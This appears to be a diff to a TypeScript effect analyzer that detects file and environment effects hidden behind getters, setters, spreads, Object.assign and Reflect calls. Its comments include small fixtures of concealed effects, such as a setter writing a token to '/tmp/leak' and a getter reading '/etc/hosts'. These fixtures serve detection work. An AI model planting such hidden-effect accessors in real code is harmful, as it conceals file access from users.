+// initializer and enumerates THAT literal's accessors, so this spelling stays charged. It is a
+// widening — it can only add — so it cannot itself hide anything.
+//
+// R120 — AND THE SENTENCE THAT USED TO FOLLOW WAS FALSE, WHICH IS THE §E2 SHAPE EXACTLY. It read
+// "what it does NOT reach is a structural literal arriving through a PARAMETER or a call return",
+// i.e. it stated the residual as a closed list of two. The arm's first cut required `srcExpr` to be a
+// bare Identifier and read `getSymbolAtLocation(srcExpr).declarations` WITHOUT following an alias, so
+// FOUR more spellings fell out of it — and the first of them is the one the paragraph implicitly
+// promised, a plain `const` binding reached across a MODULE. Measured at e5c60bc by PRINTING the
+// resolved declaration at the point the arm fires, never by reading the code:
+//
+//     src=src/a.ts:4  owner=src.a.clone  srcExprKind=Identifier  text="structural"
+//       symDecls     =["ImportSpecifier@src/a.ts:1"]                           ← what the arm looked at
+//       aliasedDecls =["VariableDeclaration@src/lib.ts:8 init=ObjectLiteral"]  ← what it needed
+//
+//   1. `import { structural } from "./lib"; {...structural}`  → the symbol is an ALIAS; its own
+//      declaration is the ImportSpecifier, so the VariableDeclaration test failed and the row went
+//      ABSENT. `deny Fs src.a.clone` exited 0 over a spread that invokes an fs-reading getter. A
+//      SILENT UNDER-REPORT, and it is the shape any multi-file project has.
+//   2. `const o = { get k(){…} } as Session`      → initializer is an AsExpression, not a literal.
+//   3. `const o = ({ get k(){…} })`               → initializer is a ParenthesizedExpression.
+//   4. `{...(structural)}` / `{...(o as T)}` / `{...o!}` → srcExpr is not an Identifier at all.
+//
+// `const o = {…} satisfies Session` is a FIFTH spelling of the same question that the arm also misses,
+// and it is charged anyway — `satisfies` keeps the literal's own type, so its getter declaration sits
+// in an ObjectLiteralExpression and `classBodiedGetter` never excludes it. Covered by a different
+// mechanism, so it is a control here rather than a fix: two paths answering one question is exactly
+// the R109/R110/R111 shape, and their agreement is not evidence.
+//
+// All four are closed by UNWRAPPING and ASKING THE ALIAS (§G — the checker already knows), and every
+// one of them is a WIDENING: it can only add accessor hits, never remove one, so the direction it
+// fails in is over-charge, not silence.
+//
+// WHAT IS STILL NOT REACHED, stated as the open list it is rather than a closed one: a structural
+// literal arriving through a PARAMETER, through a call return, or through a PROPERTY ACCESS
+// (`{...holder.inner}`, `{...this.o}`) — none has a binding whose initializer this can read. All three
+// are pinned by fixtures asserting today's (wrong) answer, so closing one shows up as an expectation
+// that changed. Before R115 those spellings were charged only by COINCIDENCE — the class accessor's
+// effects were reported in place of the literal's, which is the right verdict off the wrong evidence.
+function classBodiedGetter(sym) {
+  const decls = (sym?.declarations ?? []).filter((d) => ts.isGetAccessorDeclaration(d));
+  return decls.length > 0 && decls.every((d) => ts.isClassDeclaration(d.parent) || ts.isClassExpression(d.parent));
+}
+function enumerateGetters(owner, type, srcExpr) {
+  if (!owner) return;
+  if (type && type.getProperties) {
+    for (const p of propertiesAcrossArms(type)) {   // R259 — the disjunction, not the intersection
+      if (classBodiedGetter(p)) continue; // prototype + non-enumerable → not copied by a spread
+      for (const hit of accessorsFromSym(p, "get")) recordAccessorHit(owner, hit, p.getName(), srcExpr);
+    }
+  }
+  // The structural arm: `const o: SomeClass = { get k(){…} }` — the BINDING's initializer is an object
+  // literal, so its accessors are own+enumerable and the copy DOES invoke them, whatever the annotation
+  // says. Follows a plain binding only (one hop, no calls, no conditionals); adds, never removes.
+  //
+  // R120 — THREE UNWRAPS AND ONE ALIAS HOP, because the question is which OBJECT is being copied and
+  // none of these four wrappers changes that answer. Each is a spelling measured absent at e5c60bc.
+  let se = srcExpr;
+  while (se && (ts.isParenthesizedExpression(se) || ts.isAsExpression(se)
+                || ts.isSatisfiesExpression(se) || ts.isNonNullExpression(se))) se = se.expression;
+  if (!se || !ts.isIdentifier(se)) return;                                  // parameter / call return / member
+  let sym0 = checker.getSymbolAtLocation(se);
+  if (!sym0) return;
+  // An IMPORTED binding's own declaration is the ImportSpecifier/ImportClause, never the `const` that
+  // holds the literal — so without this hop every cross-module spread read the alias and gave up. This
+  // is the same `getAliasedSymbol` call the fetch import arm already makes for the same reason.
+  if (sym0.flags & ts.SymbolFlags.Alias) { try { sym0 = checker.getAliasedSymbol(sym0) ?? sym0; } catch { /* unresolved import */ } }
+  for (const d of sym0.declarations ?? []) {
+    if (!ts.isVariableDeclaration(d) || !d.initializer) continue;
+    let init = d.initializer;
+    while (ts.isParenthesizedExpression(init) || ts.isAsExpression(init)
+           || ts.isSatisfiesExpression(init) || ts.isNonNullExpression(init)) init = init.expression;
+    if (!ts.isObjectLiteralExpression(init)) continue;
+    for (const pr of init.properties) {
+      if (!ts.isGetAccessorDeclaration(pr)) continue;
+      const nm = pr.name?.getText?.() ?? "?";
+      recordAccessorHit(owner, { decl: pr, local: projectFiles.has(path.resolve(pr.getSourceFile().fileName)) }, nm);
+    }
+  }
+}
+
+// R116 — THE MIRROR OF `enumerateGetters`, AND THE ARM THAT DID NOT EXIST. `Object.assign(t, s)` is
+// specified as `t[k] = s[k]` for every own enumerable key of every source, so it invokes the TARGET's
+// SETTERS exactly as `t.k = v` does. `enumerateGetters` above handles the SOURCE side; nothing handled
+// this one, so a setter that writes a file was reported as nothing at all:
+//
+//     export class Sink { set token(x: number) { fs.writeFileSync("/tmp/leak", String(x)); } }
+//     export function viaAssign() { const s = new Sink(); Object.assign(s, { token: 1 }); }
+//       -> `viaAssign` ABSENT from `functions[]`, `deny Fs` exit 0, in a tree containing NOTHING else
+//     export function viaNamedWrite() { const s = new Sink(); s.token = 2; }   -> ["Fs"], correctly
+//
+// One spelling of a question the engine already answers right, which is what makes it a defect rather
+// than a coverage gap. GROUND TRUTH EXECUTED on node 22.12.0, counting setter invocations: 1 for every
+// `Object.assign` spelling (literal source, two sources, a parameter source, a spread source, a
+// computed key) and 1 for `Reflect.set`; 0 for `{...s, token: 1}` (a spread builds a FRESH object, so
+// no setter runs) and 0 for `Object.defineProperties(s, { token: { value: 3 } })` (a `value:` descriptor
+// installs an own property and bypasses the setter). Those two zeroes are the controls.
+//
+// THE KEY SET IS A DENYLIST OF THE PROVEN, NOT AN ALLOWLIST OF THE GUESSED — the family rule, and the
+// direction this fails in is over-charge. Every setter the target declares is charged UNLESS the copied
+// key set can be PROVEN and excludes it. It is provable in exactly one shape: a fresh object literal at
+// the call site with no spread and no computed key, whose keys are its own text. It is NOT provable from
+// a source's declared TYPE, because TypeScript is structural and the runtime object may carry more keys
+// than the annotation admits:
+//     function f(s: { a: number }) { Object.assign(target, s); }   f({ a: 1, token: 2 });   // token IS copied
+// so a type-keyed answer would be an allowlist of guessed-safe keys, which is how a silent under-report
+// gets introduced while killing an over-charge.
+//
+// NO FABRICATION WHERE THERE IS NOTHING TO CHARGE: a target that declares no `set` accessor takes this
+// function through zero iterations, so the overwhelmingly common `Object.assign(cfg, opts)` over plain
+// data objects is untouched — measured on the corpus, not assumed.
+//
+// `keys === null` means "the copied key set is not provable"; a Set means it is, exactly.
+const provenCopiedKeys = (sources) => {
+  const keys = new Set();
+  for (let s of sources) {
+    while (s && (ts.isParenthesizedExpression(s) || ts.isAsExpression(s)
+                 || ts.isSatisfiesExpression(s) || ts.isNonNullExpression(s))) s = s.expression;
+    if (!s || !ts.isObjectLiteralExpression(s)) return null;   // parameter / call return / variable
+    for (const pr of s.properties) {
+      if (ts.isSpreadAssignment(pr)) return null;              // `{...o}` copies an unknown key set
+      const n = pr.name;
+      if (!n) return null;
+      if (ts.isIdentifier(n) || ts.isStringLiteralLike(n) || ts.isNumericLiteral(n)) keys.add(n.text);
+      else return null;                                        // computed key `{[k]: v}`
+    }
+  }
+  return keys;
+};
+//
+// SOUNDNESS R247 — WHERE THE KEY SET IS UNPROVABLE, DISCLOSE `Unknown`; DO NOT CHARGE EVERY SETTER.
+// The paragraph above ("every setter the target declares is charged unless the copied key set can be
+// PROVEN and excludes it") described what this branch did until R247, and it made ONE ECMAScript
+// operation answer two ways: `Reflect.set(s, k, v)` with a runtime key charged `['Fs']` here, while
+// `s[k] = v` — the same property write, the same unpinnable key — disclosed `['Unknown']` under
+// R240(b) a few hundred lines down. A scoped `deny Fs` caught one and not the other.
+//
+// The two directions are not symmetric and that is what decides it: charging every setter is
+// FABRICATION (it claims an effect that a run may not perform), disclosing `Unknown` is honest about
+// exactly what is not known. The family's posture is to under-report rather than fabricate, and R240(b)
+// had already spent that posture on the other spelling.
+//
+// GROUND TRUTH EXECUTED, node 22.12.0, counting real `fs.writeFileSync` calls on a class declaring TWO
+// setters (`token`, `other`) and one data property (`plain`):
+//     Reflect.set(s, k, v)      k="token" 1   k="other" 1   k="plain" 0      ← at most ONE, never both
+//     Object.assign(s, src)     src={plain}  0   {plain,token} 1   {plain,token,other} 2
+//     Reflect.set(s,"token",v)  1   Object.assign(s,{token:1}) 1   Object.assign(s,{plain:1}) 0
+// So the invoked set is an UNKNOWN SUBSET of the declared setters in both cases — including the empty
+// subset, which is the input the old charge fabricated on.
+//
+// THE PROVABLE BRANCH IS UNTOUCHED: a fresh object literal at the call site, or a string-literal
+// `Reflect.set` key, still resolves to the named setters and still propagates their effects through an
+// EDGE. Only `keys === null` changed. WITHDRAWAL PRICED FIRST, over 14,149 rows (1,623 TS-source +
+// 12,526 npm): 316 sites reach this branch and 0 rows lose an effect — every effect it charged is
+// either pure or already carried by another path.
+//
+// TWO REASON TAGS, deliberately not one. `Reflect.set` is the SAME mechanism as `s[k] = v` — one
+// runtime-chosen key, at most one setter — so it emits R240(b)'s own `reflect:accessor:dynamic-key`,
+// and that identity IS the convergence this row asked for. `Object.assign` is a different mechanism
+// with a different bound (an unprovable copied key SET; 0..n setters, measured 2 above), so it emits
+// `reflect:accessor:dynamic-keyset`. Both sit in the `reflect` class, so `deny Unknown[reflect]`
+// selects both and no policy has to know the difference.
+//
+// `keyType` is the type of the runtime key where there IS one (`Reflect.set`'s second argument), so the
+// two-way symbol/string denylist can rule out a provably-unreachable accessor exactly as R240(b) does.
+// `Object.assign` passes null — it copies own enumerable STRING **and SYMBOL** keys, so no accessor on
+// the target is provably out of reach and the guard must lift entirely.
+//
+// SOUNDNESS R251 — AND THE SAME FUNCTION ANSWERS THE **GET** SIDE, WHICH HAD NO ARM AT ALL.
+// `Reflect.get(t, k)` performs the ordinary [[Get]] — it runs whatever getter the property lookup finds
+// — and nothing in this file handled it, in ANY spelling. Not the unprovable-key case R240/R247 are
+// about: it was silent for the plain string-literal key too, so the whole builtin was missing.
+//
+//     class Src { get token() { return fs.readFileSync("/etc/hosts", "utf8"); } }
+//     export function go() { const s = new Src(); return Reflect.get(s, "token"); }
+//       -> `go` ABSENT from `functions[]`; in a tree containing NOTHING else, `deny Fs src.only.go`
+//          exit 0 AND `pure src.only.go` exit 0, both scopes binding (no unmatched-scope warning).
+//
+// This is `kind`-parameterised rather than copied, which is §G: R247 already merged the two spellings of
+// the SET question into one body after they drifted, and a private `enumerateTargetGetters` would be the
+// same mistake in the other direction. Only the accessor kind differs — the key-set logic, the
+// unprovable-key disclosure, the symbol/string denylist and the no-fabrication exit are identical.
+//
+// GROUND TRUTH EXECUTED, node 22.12.0, counting real getter invocations:
+//     Reflect.get(o,"token")  literal 1  class 1     ← BOTH, and the class arm is why there is no
+//     Reflect.get(o,k) k="token"      1        1        `classBodiedGetter` exclusion below
+//     Reflect.get(o,"other")          0        0     ← the provable-exclusion control
+//     Reflect.has / ownKeys / deleteProperty / defineProperty / getOwnPropertyDescriptor / getPrototypeOf
+//                                     0        0     ← the whole rest of `Reflect.*`, swept, all zero
+// (`Reflect.apply`/`Reflect.construct` DO invoke user code — 1 each — and are already handled by the
+// reflective-invoke arm near `invokedRef`, not here.)
+function enumerateTargetAccessors(owner, targetExpr, keys, kind /* "get" | "set" */, unprovable = {}) {
+  if (!owner || !targetExpr) return;
+  const t = checker.getTypeAtLocation(targetExpr);
+  if (!t || !t.getProperties) return;
+  // `!keys`, not `keys === null`: a Set is always truthy, so this is exactly "the key set is not
+  // provable" — and it keeps the tolerance the old `keys && !keys.has(…)` line had for a caller that
+  // passes nothing. `keys.has` below is now unguarded, so a future third call site omitting the
+  // argument would throw rather than take this branch.
+  if (!keys) {
+    for (const p of propertiesAcrossArms(t)) {      // R259 — the disjunction, not the intersection
+      if (!accessorsFromSym(p, kind).length) continue;
+      if (!keyCouldNameAccessor(p, unprovable.keyType ?? null)) continue;
+      const rec = fns.get(owner);
+      rec.direct.add("Unknown");
+      rec.why.add(`reflect:accessor:${unprovable.why ?? "dynamic-key"}`);
+      return;   // one disclosure per site — WHICH accessor runs is the thing not known
+    }
+    return;     // a target declaring no reachable accessor discloses nothing (0 real invocations)
+  }
+  for (const p of propertiesAcrossArms(t)) {        // R259 — the disjunction, not the intersection
+    // NO `classBodiedGetter`-style exclusion here, and the asymmetry is the point rather than an
+    // oversight: R115 excluded a class-bodied GETTER because a prototype accessor is non-enumerable and
+    // therefore never COPIED. A prototype SETTER is the opposite — it is found by the assignment's
+    // property lookup and IS invoked. Executed above: the `Sink` setter lives on `Sink.prototype` and
+    // runs once. Excluding it here would be R115's reasoning applied to the direction it does not hold.
+    // R251 — and the same holds for the GET side reached this way: `Reflect.get` is a property LOOKUP,
+    // not a copy, so it finds a prototype getter too (executed: class 1). The exclusion belongs to
+    // `enumerateGetters`, whose callers really are copies, and to nothing here.
+    if (!keys.has(p.getName())) continue;                      // proven not touched by this operation
+    for (const hit of accessorsFromSym(p, kind)) recordAccessorHit(owner, hit, p.getName(), targetExpr);
   }
 }
 
@@ -4297,6 +5270,133 @@ const dispatchWhy = (qualifiedOwner, member) =>
   qualifiedOwner && member ? `dispatch:${qualifiedOwner}.${member}`
                            : `callback:${qualifiedOwner ?? member ?? "unresolved call"}`;
 
+// SOUNDNESS R284 — THE OWNER A MEMBER HAS AND NOBODY WENT LOOKING FOR, plus the one site that formed an
+// owner it could not qualify. `dispatchWhy` above decides §4's class from whether an owner STRING could
+// be formed, so every producer that fails to form one silently demotes a member dispatch to `callback:`
+// and moves its §6.2 class from `dispatch` to `indirect` — narrowing every `deny E Unknown[dispatch]`
+// gate in the field, which SPEC §4 ⟨0.24⟩ names and rejects in terms.
+//
+// The producing arm read `sigDecl.parent?.name`, which an `InterfaceDeclaration` has and a `TypeLiteral`
+// NEVER does. MEASURED, one program, at 9a0cfd9 — a pure spelling difference in TypeScript:
+//
+//     interface Shape { m(): void }   x.m()   ->  dispatch:src.a.Shape.m        [dispatch] RED
+//     type Shape = { m(): void };     x.m()   ->  callback:m                    [dispatch] —, [indirect] RED
+//
+// AND THE BOUNDARY OF THE ROW THAT FILED IT WAS DRAWN AROUND ITS OWN TRIGGER — one arm, the one in hand.
+// Grepping the MECHANISM ("a site that forms a dispatch:/callback: owner") rather than the name found
+// two more, both measured on executing fixtures:
+//
+//   · the >12-override family arm emits an UNQUALIFIED `dispatch:Shape.m` where every other site emits
+//     `mod.Owner.member`. The consumer's `^dispatch:(.+)\.([^.]+)$` then yields owner `Shape`, which
+//     matches no `declaringType` qual, so the dispatch frontier can never resolve it. The comment at the
+//     producing arm asserts "the other emission sites produced none" of the 1,234 malformed strings — a
+//     §K sentence: true of the corpus it was measured on, false of the code. A 14-subclass fixture
+//     produces one on demand.
+//   · `reflect:accessor:` took its owner from the same `parent?.name`, with `?? "?"` as the fallback, so
+//     a type-alias-declared accessor discloses `reflect:accessor:?.val` where the interface spelling
+//     discloses `reflect:accessor:Shape.val`. The class does not move (both are `reflect`), but `?` is
+//     not an owner anything can scope to.
+//
+// WHAT THIS DOES **NOT** CLAIM: a fully anonymous inline literal (`function f(x: { m(): void })`) still
+// has no owner to name and stays `callback:`, because SPEC §4 reserves `dispatch:` for an owner type AND
+// member that are BOTH known. That residual is stated, not closed — it is the open list, and a nested
+// literal names the alias that declares the shape it sits in rather than inventing a path.
+const NAMED_TYPE_OWNER = (d) => ts.isInterfaceDeclaration(d) || ts.isClassDeclaration(d)
+  || ts.isClassExpression(d) || ts.isTypeAliasDeclaration(d) || ts.isEnumDeclaration(d);
+// SOUNDNESS R355 — THE WALK MUST STOP AT A VALUE BOUNDARY, or it names a type that does not declare
+// the member. R284 added this ancestor walk so a member of an anonymous type LITERAL could still name
+// the alias that declares it; it climbs every parent until it finds a named declaration, and nothing
+// stopped it leaving the type position. Four shapes measured wrong on real code:
+//
+//   literal in a method BODY      eslint 9.x `SourceCode.traverse` -> dispatch:….SourceCode.enterNode
+//                                 (`enterNode` is a method of a literal declared inside the method;
+//                                  SourceCode declares no such member)
+//   literal in a class FIELD      zx `ProcessPromise.bus` -> dispatch:….ProcessPromise.unpipe, which
+//                                 names a REAL but DIFFERENT method of that class
+//   TYPE-PARAMETER constraint     `class A<T extends {m(): void}>` -> dispatch:….A.m — the class named
+//                                 as owner of its own constraint's member
+//   inline PROPERTY type          `cb!: { m(): void }` -> dispatch:….Holder.m
+//
+// SPEC §4 makes the dotted `dispatch:<owner-type>.<member>` detail NORMATIVE, so a phantom owner is a
+// wrong normative field, and `callers --include-unknown` builds frontier edges from it. It is
+// over-approximate rather than silent — never a cardinal sin — but 0.35.0 ships these rows as
+// `callback:`, so publishing the phantom and fixing it later would flip `deny Unknown[dispatch]` twice
+// on identical bytes.
+//
+// A DENYLIST OF VALUE-POSITION BOUNDARIES, not an allowlist of permitted ancestors: a node kind nobody
+// foresaw keeps climbing and over-fires visibly, rather than silently demoting a real owner to
+// `callback:`. Say which direction it fails in — this one fails loud.
+// SOUNDNESS R367 — RETIRED, AND KEPT ONLY AS THE RECORD OF WHY. This denylist was the syntactic proxy
+// for "has the walk left the type position", and it was wrong in BOTH directions: too narrow at R355
+// (it missed the interface/type-alias property spelling, which R359 then added), and once wide enough
+// to catch that, too broad — `ts.isTypeReferenceNode` demoted `type RO = Readonly<{ m(): void }>`,
+// which genuinely has `m`, turning a firing `deny Unknown[dispatch]` green on a real owner (R363).
+// Three commits chasing one question with the wrong instrument.
+//
+// `ownerDeclaresMember` now asks the checker directly and answers all six shapes correctly, including
+// the four this list was written for. The list is no longer consulted; it is left here, unused, for
+// one release so the next reader meets the reasoning rather than the deletion. THE GENERAL POINT is
+// in `candor-handlist-vein`: an engine WITH a type checker should not hand-maintain what the checker
+// derives — that instrument belongs to candor-rust and candor-swift, which have no checker.
+// (the list itself is deleted — `npm test`'s lint is right that a retired binding is dead code;
+//  the shapes it covered are in SOUNDNESS R355/R359/R363/R367, which is where they belong.)
+/** The nearest ancestor declaration that NAMES the type this member belongs to, or null. */
+const namedTypeAncestor = (node) => {
+  for (let n = node?.parent, guard = 0; n && guard++ < 32; n = n.parent) {
+    if (ts.isSourceFile(n)) return null;
+    if (NAMED_TYPE_OWNER(n) && n.name) return n;
+  }
+  return null;
+};
+/** `<module>.<namespace prefix><Name>` — the spelling `mod.Class.member` quals use, so the dispatch
+ *  frontier can resolve it against the hierarchy sidecar. A bare name cannot be resolved by anything. */
+const qualifiedTypeName = (d) => (d?.name
+  ? `${moduleOf(d.getSourceFile())}.${namespacePrefixOf(d)}${d.name.getText()}` : null);
+/** SOUNDNESS R367 — ASK THE CHECKER WHETHER THE CANDIDATE OWNER ACTUALLY HAS THE MEMBER.
+ *
+ *  R284 walked up to the nearest named declaration and named it. R355 and R359 then tried to fix the
+ *  cases where that walk leaves the type position by enumerating NODE KINDS to stop at — a hand-
+ *  maintained syntactic list, which is the instrument the two engines WITHOUT a type checker are
+ *  forced to use. candor-ts has a checker. Enumerating positions here was answering a semantic
+ *  question with a syntactic proxy, and the proxy was wrong in both directions: it missed
+ *  `interface I { cb: { m(): void } }` (R359) and, once widened enough to catch that, it demoted
+ *  `type RO = Readonly<{ m(): void }>`, which genuinely HAS `m` — turning a firing
+ *  `deny Unknown[dispatch]` green on a real owner (R363).
+ *
+ *  The question is not "what syntax is this literal sitting in". It is "does the type this
+ *  declaration declares have a property by this name". That is one checker call and it is exact:
+ *      type Named  = { m(): void }              -> has m   -> owner kept
+ *      type RO     = Readonly<{ m(): void }>    -> has m   -> owner kept   (the mapped type maps it)
+ *      type Id<T>=T; type IdLit = Id<{m()}>     -> has m   -> owner kept
+ *      type ListOf = Array<{ m(): void }>       -> no m    -> no owner
+ *      interface I { cb: { m(): void } }        -> no m    -> no owner
+ *      class C { go(){ const a={m(){}}; a.m() }}-> no m    -> no owner
+ *
+ *  FAILS LOUD BY CONSTRUCTION. Any uncertainty — no symbol, no declared type, the checker throwing —
+ *  answers "yes, keep the owner", so an unanswerable case over-approximates visibly rather than
+ *  silently demoting a real owner to `callback:`. That is the direction R363 recorded as the one
+ *  nothing warns about. */
+const ownerDeclaresMember = (ownerDecl, memberName) => {
+  if (!ownerDecl || !memberName) return true;
+  try {
+    const sym = ownerDecl.name && checker.getSymbolAtLocation(ownerDecl.name);
+    if (!sym) return true;
+    const t = checker.getDeclaredTypeOfSymbol(sym);
+    if (!t) return true;
+    return !!checker.getPropertyOfType(t, memberName);
+  } catch { return true; }
+};
+
+/** The owner qual for a member whose immediate parent may be an ANONYMOUS type literal. Falls back to
+ *  the nearest NAMED type declaration, VERIFIED to have the member; null when there genuinely is not
+ *  one, or when the one found does not declare it. */
+const memberOwnerQual = (member) => {
+  if (member?.parent?.name) return qualifiedTypeName(member.parent);
+  const anc = namedTypeAncestor(member);
+  const name = member?.name?.getText?.();
+  return ownerDeclaresMember(anc, name) ? qualifiedTypeName(anc) : null;
+};
+
 // ⟨THE FUNNEL⟩ Every site that reaches a resolved EXTERNAL declaration whose own κ lookup found nothing
 // answers the SAME question — chained sibling report, §5.1 manifest, κ-coverage ledger, or the
 // unanswerable-key disclosure — and it used to answer it up to four times over, independently, in the
@@ -4312,11 +5412,15 @@ const dispatchWhy = (qualifiedOwner, member) =>
 // or the dependency's own report already answered by omission — SPEC §2 rule 3) — never a fourth,
 // unexamined silent case. Called directly for a resolved external CallExpression too (see the CLASSIFY
 // arm and the tagged-template arm) so the whole family shares one implementation.
-function disclosureTail(rec, decl, pkg, file) {
+// ⟨R137⟩ `member` is the SAME token κ was asked with at the caller, threaded rather than re-derived
+// here: the ledger's question is "did κ cover THIS call", and re-deriving the member from `decl` would
+// be a second spelling of it that could drift from the first (§G — where two paths compute one fact,
+// make them disagree; better still, do not have two).
+function disclosureTail(rec, decl, pkg, file, member) {
   const declared = packageManifestEffects(file);
   if (declared !== null) { for (const e of declared) rec.direct.add(e); return; } // [] = declared pure
   const abstraction = unanswerableKey(decl);
-  if (!kappaKnows(pkg) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
+  if (!kappaKnows(pkg, member) && !depCoveredPkgs.has(pkg) && crossesPackageBoundary(file)) {
     unlistedSeen.set(pkg, (unlistedSeen.get(pkg) ?? 0) + 1);
     rec.blind.add(pkg);
     // ⟨0.21⟩ A package chained ONLY by a SELF-DECLARED-INCOMPLETE report reaches this arm because its
@@ -4371,7 +5475,7 @@ function chargeExternalDecl(rec, decl, tailOverride) {
     : member && ((owner ? crossDeps.get(`${pkg}#${owner}.${member}`) : undefined)
       ?? crossDeps.get(`${pkg}#${member}`));
   if (hit) { applyDepHit(rec, hit); return; }
-  disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName);
+  disclosureTail(rec, decl, pkg, decl.getSourceFile().fileName, member);
 }
 
 // ---- implicit VALUE-COERCION desugaring (the silent-pure holes where the JS coercion protocol calls a
@@ -4394,10 +5498,28 @@ function isCoercionMemberDecl(m) {
     || ts.isPropertyDeclaration(m) || ts.isPropertyAssignment(m)
     || ts.isFunctionDeclaration(m) || ts.isFunctionExpression(m) || ts.isArrowFunction(m));
 }
-// Find member `name` declared on LOCAL class `cls` or the nearest local ancestor that declares it.
+// Find member `name` declared on LOCAL class/structural-implementor `cls` or the nearest local ancestor
+// that declares it. `cls` comes from `coercionChaClasses`, which (since PART 87) reads the SAME
+// `interfaceImpls` registry the ordinary interface-CHA dispatch site reads — and that registry now holds
+// structural implementors (`ObjectLiteralExpression`, `.properties`) alongside nominal classes
+// (`ClassDeclaration`/`ClassExpression`, `.members`), never guaranteed to be one shape.
+//
+// ⟨CARDINAL SIN FIX, coercion-CHA structural gap⟩ this used to read only `cur.members`, so a structural
+// implementor's `.properties` was invisible: `(undefined ?? []).find(...)` always empty, never a match,
+// never a crash — "degrades gracefully" in the sense of not throwing, but it silently dropped every
+// coercion member a structural implementor declared. MEASURED (candor-attack2, 2026-09-01): an interface
+// implemented ONLY structurally, with an effectful `toString`, coerced via a template literal — PRE-PART-
+// 87 this correctly charged `<module>` with Fs (the un-minted object-literal body was walked inline, as
+// part of whatever textually contained it); POST-PART-87 the SAME `toString` is extracted into its own
+// addressable unit by `mintStructuralMembers` (correct — it is no longer folded into an enclosing scope's
+// direct effects) but this function could never find it to edge to it, so the extraction cost the
+// disclosure it used to get for free and `<module>`/`stringify` both vanished from `functions[]` PURE.
+// The general interface-CHA dispatch site already has the fix's own shape for this (`cls.members ??
+// cls.properties ?? []`, its own PART 87 comment) — this mirrors it rather than inventing a second rule.
 function localClassMember(cls, name) {
   for (let cur = cls, guard = 0; cur && guard++ < 64; cur = localBaseClassOf(cur)) {
-    const m = (cur.members ?? []).find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
+    const memberNodes = cur.members ?? cur.properties ?? [];
+    const m = memberNodes.find((x) => x.name?.getText?.() === name && isCoercionMemberDecl(x));
     if (m && declIsLocal(m)) return m;
   }
   return null;
@@ -4834,6 +5956,15 @@ const declImportsNodeProcess = (decl) => {
   const text = spec && ts.isStringLiteral(spec) ? spec.text : null;
   return text === "node:process" || text === "process";
 };
+// R93: a local SYMBOL that merely HOLDS the global process object — `const p = globalThis.process`,
+// `const { process } = globalThis as any` — was indistinguishable from a project-local `process` shadow,
+// because both have their OWN declaration inside a project file, and that was the entire test below for
+// "is this the ambient global". Reaching the object through a variable does not change its identity;
+// `identIsGlobalProcess` must not treat it as if it did. `processAliasSymbols` is the single authority
+// both the bare-identifier check below AND the `{env} = process` destructure detection already
+// downstream consult — the fix in one place, per brief §F1 item 3 ("make the two paths share one
+// authority", not patch the losing copy). Populated by the pre-pass immediately below.
+const processAliasSymbols = new Set();
 const identIsGlobalProcess = (id) => {
   if (!id) return false;
   // `globalThis.process` / `global.process` — the SAME process object reached off the global (isomorphic code:
@@ -4847,11 +5978,60 @@ const identIsGlobalProcess = (id) => {
       return !gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
     }
   }
-  if (!ts.isIdentifier(id) || id.text !== "process") return false;
-  const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
-  if (decls.some(declImportsNodeProcess)) return true;                       // `import process from 'node:process'`
-  return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))); // else the ambient global
+  if (!ts.isIdentifier(id)) return false;
+  if (id.text === "process") {
+    const decls = checker.getSymbolAtLocation(id)?.declarations ?? [];
+    if (decls.some(declImportsNodeProcess)) return true;                       // `import process from 'node:process'`
+    if (!decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) return true; // ambient global
+  }
+  // A local binding under ANY name (`p`, `process`, whatever) whose sole initializer is confirmed —
+  // by the pre-pass below — to be the global process object itself.
+  const sym = checker.getSymbolAtLocation(id);
+  return !!sym && processAliasSymbols.has(sym);
 };
+// Pre-pass: a variable is a process alias iff EITHER (a) a plain identifier bound `= globalThis.process`
+// / `= global.process` / `= process` (bare, ambient — casts/parens/`!` unwrapped), or (b) an object
+// destructure that picks `process` (by property name, any local alias — `{ process }` or
+// `{ process: p }`) directly off an ambient `globalThis`/`global` root. No reassignment-clearing here
+// (unlike envAliasSymbols): a `let` rebound to something else is a narrowing this pass does not attempt,
+// so it is conservative in the SAFE direction only if downstream never mutates a `const`-only signal —
+// callers only ever declare these `const` in practice; a `let` reassigned away still resolves any READ
+// before the reassignment correctly and any read after it would need flow-sensitivity this class of
+// alias-set does not have anywhere else in this file either (see envAliasSymbols for the same posture).
+{
+  const isGlobalProcessInitializer = (expr) => {
+    if (!expr) return false;
+    let e = expr;
+    while (ts.isParenthesizedExpression(e) || ts.isAsExpression(e) || ts.isNonNullExpression(e)) e = e.expression;
+    return identIsGlobalProcess(e); // handles `globalThis.process` / `global.process` / bare ambient `process`
+  };
+  const collectProcessAliases = (node) => {
+    if (ts.isVariableDeclaration(node) && node.name && ts.isIdentifier(node.name) && node.initializer) {
+      if (isGlobalProcessInitializer(node.initializer)) {
+        const sym = checker.getSymbolAtLocation(node.name);
+        if (sym) processAliasSymbols.add(sym);
+      }
+    } else if (ts.isVariableDeclaration(node) && node.name && ts.isObjectBindingPattern(node.name) && node.initializer) {
+      let root = node.initializer;
+      while (ts.isParenthesizedExpression(root) || ts.isAsExpression(root) || ts.isNonNullExpression(root)) root = root.expression;
+      if (ts.isIdentifier(root) && (root.text === "globalThis" || root.text === "global")) {
+        const gd = checker.getSymbolAtLocation(root)?.declarations ?? [];
+        if (!gd.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)))) {
+          for (const el of node.name.elements) {
+            const propName = el.propertyName ? (ts.isIdentifier(el.propertyName) ? el.propertyName.text : null)
+                                             : (ts.isIdentifier(el.name) ? el.name.text : null);
+            if (propName === "process" && ts.isIdentifier(el.name)) {
+              const sym = checker.getSymbolAtLocation(el.name);
+              if (sym) processAliasSymbols.add(sym);
+            }
+          }
+        }
+      }
+    }
+    ts.forEachChild(node, collectProcessAliases);
+  };
+  for (const sf of sources) collectProcessAliases(sf);
+}
 // `process.env` as an expression (PropertyAccess `process.env` where `process` is the global).
 const isProcessEnvExpr = (expr) =>
   expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
@@ -4926,6 +6106,49 @@ const identIsEnvMayAlias = (id) => {
   return !!sym && envMayAliasSymbols.has(sym);
 };
 
